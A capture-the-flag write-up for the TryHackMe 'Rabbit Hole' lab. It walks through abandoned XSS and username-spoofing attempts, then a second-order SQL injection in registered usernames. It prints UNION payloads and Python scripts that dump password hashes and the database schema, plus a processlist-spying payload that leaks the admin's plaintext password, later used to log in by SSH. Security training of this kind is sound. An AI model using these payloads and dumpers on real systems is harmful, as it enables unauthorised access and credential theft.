TryHackMe - Rabbit Hole¶
It's easy to fall into rabbit holes. - shamollash
Introduction¶
OS: Linux
URL: Rabbit Hole
Level: Hard
Avoid rabbit holes and use SQL Injection to get the flag.
Recon¶
First, we start Off with a Nmap Scan to check for open ports and services running on the machine.
┌──(kali㉿kali)-[~/THM/rabbitholeqq]
└─$ sudo nmap -sC -sV -oN nmap/initial $IP -v
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-27 20:57 EDT
[...SNIP...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.59 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Your page title here :)
|_http-server-header: Apache/2.4.59 (Debian)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
[...SNIP...]
Only two ports are open, SSH and HTTP. Let's check the website.
Note
I'll be adding rabbithole.thm to my /etc/hosts
file to make it easier to access the website.
There are two links on the website, one to register and another to login. It also reminds us that there are anti-bruteforce measures in place.
Let's register an account and login.
After logging in, We can see last logged-in users with max 2 users and five recent login timestamps for each user. (This assumption was wrong for more details see how it's implemented in the index.php
file)
Notes:
- user
admin
seems to login every minute. - each login takes around 5+ seconds.
Exploitation¶
Usually our goal is to login as an admin user to get the flag / access to admin-only features.
So, here is a list of all the things I've tried and failed. Instead of explaining each step in detail, I'll just go over them briefly.
Rabbit Holes¶
XSS¶
The username
field in register accepts any character, and since admin
logs in every time if we can inject a script in the username field, we might be able to steal the session cookie.
Our XSS payload is executed. So let's try use script src
to point to our server and run xss payload everytime admin logs in.
But even after admin logs in multiple times we never get a callback on our server. This likely means either the admin is blocking javascript execution or using a tool like curl to login.
Account Takeover¶
This HackTricks article lists a few methods
Unicode normalization doesn't work but using space in username initially seem to work.
- register a user with username starting with space
[space]admin
- Now login with
[space]admin[space]
- in the homepage you'll only see login records for
admin
seemingly indicating that we've taken over the account.
But it actually is a logic error in the app
<?php
$stmt = $pdo->prepare('SELECT id, username FROM users ORDER BY id');
$stmt->execute();
echo '<div class="container"><div class="row"><div class="one-half column" style="margin-top: 25%">';
echo '<div><h4>Last logins</h4></div>';
echo "<div><a href=\"/logout.php\">Logout</a></div>\n";
while($row = $stmt->fetch()) {
if ($row['username']===$_SESSION['username'] or $row['username']==='admin')
{
echo '<table class="u-full-width">';
echo "\n<thead><th>User " . $row["id"]. " - " . $row['username'] ." last logins</th></thead><tbody>\n";
?>
This is because sql seems to ignore trailing spaces so [space]admin
is same as [space]admin[space]
.
But when logging in php code set the username for the session variable from post request [space]admin[space]
but the database returns the row for [space]admin
causing the if condition to be false and not displaying the user in the homepage.
SQL Injection¶
Trying common SQL Injection login bypass payloads doesn't work.
Since we can create usernames with special characters, Let's try to create a user with "
in username
We can successfully create and even login with test"user
. But once logged in, we get an SQL error.
[..SNIP..]
<?php
while($row = $stmt->fetch()) {
if ($row['username']===$_SESSION['username'] or $row['username']==='admin')
{
echo '<table class="u-full-width">';
echo "\n<thead><th>User " . $row["id"]. " - " . $row['username'] ." last logins</th></thead><tbody>\n";
$stmt_logins = $pdo->prepare('SELECT * FROM logins where username ="' . $row['username'] . '" ORDER BY login_time DESC LIMIT 0,5');
// output data of each row
try {
$stmt_logins->execute();
while($rowg=$stmt_logins->fetch()) {
echo "<tr><td>" . substr($rowg['login_time'],0,16) . "</td></tr>\n";
}
} catch (PDOException $e) {
echo $e->getMessage();
}
[..SNIP..]
?>
The logins query is not using prepared statements and directly concatenating the username from the database. So it's vulnerable to Stored SQL Injection or Second Order SQL Injection.
Creating payload¶
Since we know that the username is vulnerable to SQL Injection let's craft a payload to leak the data from the database
Since each payload takes three steps to accomplish, I wrote a python script to automate the process.
import requests
import re
while True:
username = input('\nEnter username: ')
username = username.strip()
if not username:
continue
data = {
'username': username,
'password': 'root',
'submit': 'Submit+Query'
}
response = requests.post('http://rabbithole.thm/register.php', data=data, verify=False)
response = requests.post('http://rabbithole.thm/login.php', data=data, verify=False, allow_redirects=False)
print(response.status_code, dict(response.cookies))
response = requests.get('http://rabbithole.thm/', cookies=dict(response.cookies), verify=False)
re_data = re.search(r"(SQLSTAT.*)", response.text)
if re_data:
print(re_data.group(1))
else:
print(response.text)
It takes in a payload and then creates a user with that username and logs in to get the response from the server.
After trying for a bit UNION
injection with 2
columns seems to work.
┌──(kali㉿kali)-[~/THM/rabbitholeqq]
└─$ python test_payload.py
Enter username: " UNION SELECT "col1","col2" -- -
302 {'PHPSESSID': '4064ca03ff5b6114cb24b3827506e0b6'}
<!DOCTYPE html>
[...SNIP...]
<thead><th>User 1 - admin last logins</th></thead><tbody>
<tr><td>2024-10-28 02:37</td></tr>
[...SNIP...]
</tbody></table>
<p>" UNION SELECT "col1","col2" -- -</p><table class="u-full-width">
<thead><th>User 10 - " UNION SELECT "col1","col2" -- - last logins</th></thead><tbody>
<tr><td>col2</td></tr>
</tbody></table>
As we can see col2
is reflected back in the page. We can now use col2 to exfiltrate data from the database.
Manual exploitation¶
Using the mysql SQL injection cheat sheet from PayloadAllTheThings we can try to get database, table and column names.
First, I'll modify the python script to parse HTMl and display only errors and the actual data.
manual_exploit.py
import requests
import re
from bs4 import BeautifulSoup
while True:
username = input('\nEnter username: ')
username = username.strip()
if not username:
continue
data = {
'username': username,
'password': 'root',
'submit': 'Submit+Query'
}
response = requests.post('http://rabbithole.thm/register.php', data=data)
response = requests.post('http://rabbithole.thm/login.php', data=data)
re_data = re.search(r"(SQLSTAT.*)", response.text)
if re_data:
print(re_data.group(1))
else:
soup = BeautifulSoup(response.text, 'html.parser')
tables = soup.find_all('table')
if len(tables)!=2:
print('[-] Error: Expected 2 tables, found', len(tables))
continue
table = tables[1]
for row in table.find_all('tr'):
print(row.text)
┌──(kali㉿kali)-[~/THM/rabbitholeqq]
└─$ python manual_exploit.py
Enter username: " UNION ALL SELECT 1,schema_name FROM information_schema.schemata -- -
information_sche
web
Enter username: " UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema="web" -- -
users
logins
Enter username: " UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name="users" AND table_schema="web" -- -
id
username
password
group
Enter username: " UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name="logins" AND table_schema="web" -- -
username
login_time
Enter username: " UNION ALL SELECT 1, concat(username, ":", password) FROM web.users -- -
admin:0e3ab8e45a
foo:a51e47f64637
bar:de97e75e5b46
volta:63a9f0ea7b
[...SNIP...]
// list databases
" UNION ALL SELECT 1,schema_name FROM information_schema.schemata -- -
// list tables in database
" UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema="web" -- -
// list columns in table
" UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name="users" AND table_schema="web" -- -
" UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name="logins" AND table_schema="web" -- -
// dump username and password hash
" UNION ALL SELECT 1, concat(username, ":", password) FROM web.users -- -
But it looks like each row is limited to 16 characters. So we can't dump the full password hash.
Luckily for us sql has substr
function which we can use to dump the password hash in chunks of 16 characters.
We will also add string 'empty_value' when the length of the substr output is 0 so null rows are not filtered out.
┌──(kali㉿kali)-[~/THM/rabbitholeqq]
└─$ python manual_exploit.py
Enter username: " UNION ALL SELECT 1, IF(LENGTH(substr(concat(username, ":", password),1,16)) = 0, 'empty_value', substr(concat(username, ":", password),1,16)) FROM web.users -- -
admin:0e3ab8e45a
foo:a51e47f64637
bar:de97e75e5b46
volta:63a9f0ea7b
[....SNIP..]
Enter username: " UNION ALL SELECT 1, IF(LENGTH(substr(concat(username, ":", password),17,16)) = 0, 'empty_value', substr(concat(username, ":", password),17,16)) FROM web.users -- -
c1163c2343990e42
5ab6bf5dd2c42d3e
04526a2afaed5f54
b98050796b649e85
[....SNIP..]
Enter username: " UNION ALL SELECT 1, IF(LENGTH(substr(concat(username, ":", password),33,16)) = 0, 'empty_value', substr(concat(username, ":", password),33,16)) FROM web.users -- -
7c66ff
6181
39d7
481845
[....SNIP..]
" UNION ALL SELECT 1, IF(LENGTH(substr(concat(username, ":", password),1,16)) = 0, 'empty_value', substr(concat(username, ":", password),1,16)) FROM web.users -- -
" UNION ALL SELECT 1, IF(LENGTH(substr(concat(username, ":", password),17,16)) = 0, 'empty_value', substr(concat(username, ":", password),17,16)) FROM web.users -- -
" UNION ALL SELECT 1, IF(LENGTH(substr(concat(username, ":", password),33,16)) = 0, 'empty_value', substr(concat(username, ":", password),33,16)) FROM web.users -- -
" UNION ALL SELECT 1, IF(LENGTH(substr(concat(username, ":", password),49,16)) = 0, 'empty_value', substr(concat(username, ":", password),49,16)) FROM web.users -- -
concat the output and try to crack the md5
hashes.
admin:0e3ab8e45ac1163c2343990e427c66ff # could not crack
foo :a51e47f646375ab6bf5dd2c42d3e6181 # rabbit
bar :de97e75e5b4604526a2afaed5f5439d7 # hole
volta:63a9f0ea7bb98050796b649e85481845 # root
Cracking the hashes was another rabbit hole. Trying to manually dump the logins
table doesn't yield any result either.
More rabbit holes¶
-
Stacked quires
Stacked queries is enabled, so we can update admins password hash to our known hash and login as admin.
But logging in as
admin
doesn't give us any flag / admin-only features. -
load_file / into outfile
We can't use
load_file
orinto outfile
to read files from the server due to insufficient permissions.
Automated exploitation¶
I was out of ideas at this point in time and decided to look for any stored variables inside the information_schema
database using the mariadb documentation.
But doing this manually took a lot of time so I decided to write a script to automate the process and dump the entire information_schema database.
dump_db.py
import httpx
import re
import asyncio
import json
from pathlib import Path
from bs4 import BeautifulSoup
MAX_CHAR_LEN = 16
async def fetch(payload):
print(payload)
async with httpx.AsyncClient(timeout=20) as client:
data = {
'username': payload,
'password': 'root',
'submit': 'Submit+Query'
}
response = await client.post('http://rabbithole.thm/register.php', data=data)
response = await client.post('http://rabbithole.thm/login.php', data=data, follow_redirects=True)
return response
def parse_tables(response, payload):
re_data = re.search(r"(SQLSTATE\[.*)", response.text)
if re_data:
# Print error message, payload and continue
print(re_data.group(1), payload)
with open('error3.log', 'a', encoding='utf-8') as f:
f.write(f"-------------\n{payload}\n{response.text}\n-----------------\n\n")
return []
soup = BeautifulSoup(response.text, 'html.parser')
tables = soup.find_all('table')
if len(tables) != 2:
print('[-] Error: Expected 2 tables, found', len(tables))
with open('error2.log', 'a', encoding='utf-8') as f:
f.write(f"-------------\n{payload}\n{response.text}\n-----------------\n\n")
return []
table = tables[1]
data = []
for row in table.find_all('tr'):
data.append(row.text)
return data
async def get_len(payload):
response = await fetch(payload)
data = parse_tables(response, payload)
if not data:
return 0
if not data[0].strip().isnumeric():
with open('error.log', 'a', encoding='utf-8') as f:
f.write(f"-------------\n{payload}\n{response.text}\n-----------------\n\n")
return 0
max_column_len = int(data[0])
return max_column_len
async def get_coulm_data(coulum_name, table_name, db_name):
payload = f'" UNION ALL SELECT 1, MAX(LENGTH({db_name}.{table_name}.{coulum_name})) FROM {db_name}.{table_name} -- -'
max_column_len = await get_len(payload)
print(f'[+] Max column length for {coulum_name} is {max_column_len}')
datas = []
responses = []
for i in range(1, max_column_len + 1, MAX_CHAR_LEN):
payload = (f'" UNION ALL SELECT 1,IF(LENGTH(SUBSTR({db_name}.{table_name}.{coulum_name}, {i}, {MAX_CHAR_LEN})) '
f'= 0, "empty_value", SUBSTR({db_name}.{table_name}.{coulum_name}, {i}, {MAX_CHAR_LEN})) FROM '
f'{db_name}.{table_name} -- -')
responses.append(asyncio.create_task(fetch(payload)))
for task in responses:
response = await task
data = parse_tables(response, payload)
datas.append(data)
fixed_data = {}
for data_table in datas:
for idx, data in enumerate(data_table):
if data == "empty_value":
continue
if idx not in fixed_data:
fixed_data[idx] = data
else:
fixed_data[idx] += data
return list(fixed_data.values())
async def get_coulm_names(table_name, db_name):
payload = (f'" UNION ALL SELECT 1, MAX(LENGTH(column_name)) FROM Information_schema.columns WHERE '
f'table_name="{table_name}" and table_schema="{db_name}" -- -')
max_coulmn_name_len = await get_len(payload)
print(f'[+] Max column name length for {table_name} is {max_coulmn_name_len}')
datas = []
responses = []
for i in range(1, max_coulmn_name_len + 1, MAX_CHAR_LEN):
payload = (f'" UNION ALL SELECT 1,IF(LENGTH(SUBSTR(column_name, {i}, {MAX_CHAR_LEN})) = 0, '
f'"empty_value", SUBSTR(column_name, {i}, {MAX_CHAR_LEN})) FROM Information_schema.columns '
f'WHERE table_name="{table_name}" and table_schema="{db_name}" -- -')
responses.append(asyncio.create_task(fetch(payload)))
for task in responses:
response = await task
data = parse_tables(response, payload)
datas.append(data)
fixed_data = {}
for data_table in datas:
for idx, data in enumerate(data_table):
if data == "empty_value":
continue
if idx not in fixed_data:
fixed_data[idx] = data
else:
fixed_data[idx] += data
return list(fixed_data.values())
async def get_table_names(db_name):
payload = f'" UNION ALL SELECT 1, MAX(LENGTH(table_name)) FROM Information_schema.tables WHERE table_schema="{db_name}" -- -'
max_table_name_len = await get_len(payload)
print(f'[+] Max table name length is {max_table_name_len}')
datas = []
responses = []
for i in range(1, max_table_name_len + 1, MAX_CHAR_LEN):
payload = (f'" UNION ALL SELECT 1,IF(LENGTH(SUBSTR(table_name, {i}, {MAX_CHAR_LEN})) = 0, "empty_value", '
f'SUBSTR(table_name, {i}, {MAX_CHAR_LEN})) FROM Information_schema.tables WHERE '
f'table_schema="{db_name}" -- -')
responses.append(asyncio.create_task(fetch(payload)))
for task in responses:
response = await task
data = parse_tables(response, payload)
datas.append(data)
fixed_data = {}
for data_table in datas:
for idx, data in enumerate(data_table):
if data == "empty_value":
continue
if idx not in fixed_data:
fixed_data[idx] = data
else:
fixed_data[idx] += data
return list(fixed_data.values())
async def main():
db_name = 'information_schema'
table_names = await get_table_names(db_name)
print(table_names)
db_data = dict.fromkeys(table_names, {})
table_tasks = []
for table_name in table_names:
coulmn_tasks = asyncio.create_task(get_coulm_names(table_name, db_name))
table_tasks.append((table_name, coulmn_tasks))
for table_name, coulmn_task in table_tasks:
coulmn_names = await coulmn_task
# await get_coulm_names(table_name)
print(coulmn_names)
coulmns = dict.fromkeys(coulmn_names, [])
db_data[table_name] = coulmns
coulmn_data_tasks = []
for coulmn_name in coulmn_names:
coulmn_task = asyncio.create_task(get_coulm_data(coulmn_name, table_name, db_name))
coulmn_data_tasks.append((coulmn_name, coulmn_task))
for coulmn_name, coulmn_task in coulmn_data_tasks:
coulmn_data = await coulmn_task
print(coulmn_data)
coulmns[coulmn_name] = coulmn_data
"""await get_coulm_data(coulmn_name, table_name)
print(coulmn_data)
coulmns[coulmn_name] = coulmn_data"""
Path(f"{db_name}.json").write_text(json.dumps(db_data, indent=4, default=str), encoding='utf-8')
if __name__ == '__main__':
asyncio.run(main())
This script asynchronously dumps the entire information_schema
database and stores the data in a json file.
But trying to grep for the flag / any other possible fields didn't yield any results.
As a last ditch effort I tried to manually look at the dumped information_schema.json
file
Though jumbled up, the info
column in the information_schema.processlist
seems to contain the payloads the script sent in to dump the DB
Reading the MariaDB documentation for information_schema.processlist
we can see that the info
column contains the query that is being executed.
So we potentially have a way to spy on the queries executed.
Spying on queries¶
As we took note before admin
seems to login every minute and each login takes five seconds.
So we have a five second window to spy on the queries being executed when admin
logs in.
So let's again write a script to dump the queries being executed.
dump_queries.py
import requests
import re
import asyncio
from bs4 import BeautifulSoup
import time
MAX_CHAR_LEN = 16
def main():
payload = '"'
for i in range(1, 200, MAX_CHAR_LEN):
payload += (f' union ALL select 0,SUBSTR(info,{i}, {MAX_CHAR_LEN}) from information_schema.processlist'
f' where info not like "%info%" ')
payload += ' -- -'
data = {
'username': payload,
'password': 'root',
'submit': 'Submit+Query'
}
response = requests.post('http://rabbithole.thm/register.php', data=data)
response = requests.post('http://rabbithole.thm/login.php', data=data, allow_redirects=False)
cookies = dict(response.cookies)
print(payload, "\n\n")
try:
while True:
response = requests.get('http://rabbithole.thm/', cookies=cookies)
row_data = []
soup = BeautifulSoup(response.text, 'html.parser')
tables = soup.find_all('table')
if len(tables) != 2:
print('[-] Error: Expected 2 tables, found', len(tables))
continue
table = tables[1]
for row in table.find_all('tr'):
if row.text:
row_data.append(row.text)
if row_data:
print(''.join(row_data), "\n\n")
time.sleep(0.5)
except KeyboardInterrupt:
print('Exiting...')
exit(0)
if __name__ == '__main__':
main()
This script will dump the queries being executed on the database every 0.5 seconds.
Or you can just use the payload below (generated using the above script) to register a account and then refresh the browser till you see the query.
┌──(kali㉿kali)-[~/THM/rabbitholeqq]
└─$ python test_process_list.py
302 {'PHPSESSID': '1bc75883d42db0d6b7a1c64f6d030b38'}
" union ALL select 0,SUBSTR(info,1, 16) from information_schema.processlist where info not like "%info%" union ALL select 0,SUBSTR(info,17, 16) from information_schema.processlist where info not like "%info%" union ALL select 0,SUBSTR(info,33, 16) from information_schema.processlist where info not like "%info%" union ALL select 0,SUBSTR(info,49, 16) from information_schema.processlist where info not like "%info%" union ALL select 0,SUBSTR(info,65, 16) from information_schema.processlist where info not like "%info%" union ALL select 0,SUBSTR(info,81, 16) from information_schema.processlist where info not like "%info%" union ALL select 0,SUBSTR(info,97, 16) from information_schema.processlist where info not like "%info%" union ALL select 0,SUBSTR(info,113, 16) from information_schema.processlist where info not like "%info%" union ALL select 0,SUBSTR(info,129, 16) from information_schema.processlist where info not like "%info%" union ALL select 0,SUBSTR(info,145, 16) from information_schema.processlist where info not like "%info%" union ALL select 0,SUBSTR(info,161, 16) from information_schema.processlist where info not like "%info%" union ALL select 0,SUBSTR(info,177, 16) from information_schema.processlist where info not like "%info%" union ALL select 0,SUBSTR(info,193, 16) from information_schema.processlist where info not like "%info%" -- -
SELECT * from users where (username= 'admin' and password=md5('REDACTED') ) UNION ALL SELECT null,null,null,SLEEP(5) LIMIT 2
SELECT * from users where (username= 'admin' and password=md5('REDACTED') ) UNION ALL SELECT null,null,null,SLEEP(5) LIMIT 2
SELECT * from users where (username= 'admin' and password=md5('REDACTED') ) UNION ALL SELECT null,null,null,SLEEP(5) LIMIT 2
^CExiting...
Looks like admin
s password is leaked in the query.
This only happens because the php
code is passing the password and letting sql handle the hashing instead of first hashing the password and then passing it to the sql query.
<?php
[...SNIP...]
if (isset($_POST['username'])&&isset($_POST['password'])) {
$stmt = $pdo->prepare('SELECT * from users where (username= ? and password=md5(?) ) UNION ALL SELECT null,null,null,SLEEP(5) LIMIT 2');
$stmt->execute([$_POST['username'], $_POST['password']]);
if ($stmt->rowCount() === 2 ) {
$row=$stmt->fetch();
$_SESSION['logged_in']=true;
$_SESSION['username']=$_POST['username'];
$stmt = $pdo->prepare('INSERT INTO logins values ( ?, NOW())');
$stmt->execute([$_POST['username']]);
header('Location: /');
die();
}
}
[...SNIP...]
?>
Now ssh into the machine to get your flag.
```shell
┌──(kali㉿kali)-[~/THM/rabbitholeqq]
└─$ ssh [email protected]
[email protected]'s password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
admin@ubuntu-jammy:~$ cat flag.txt
THM{REDACTED}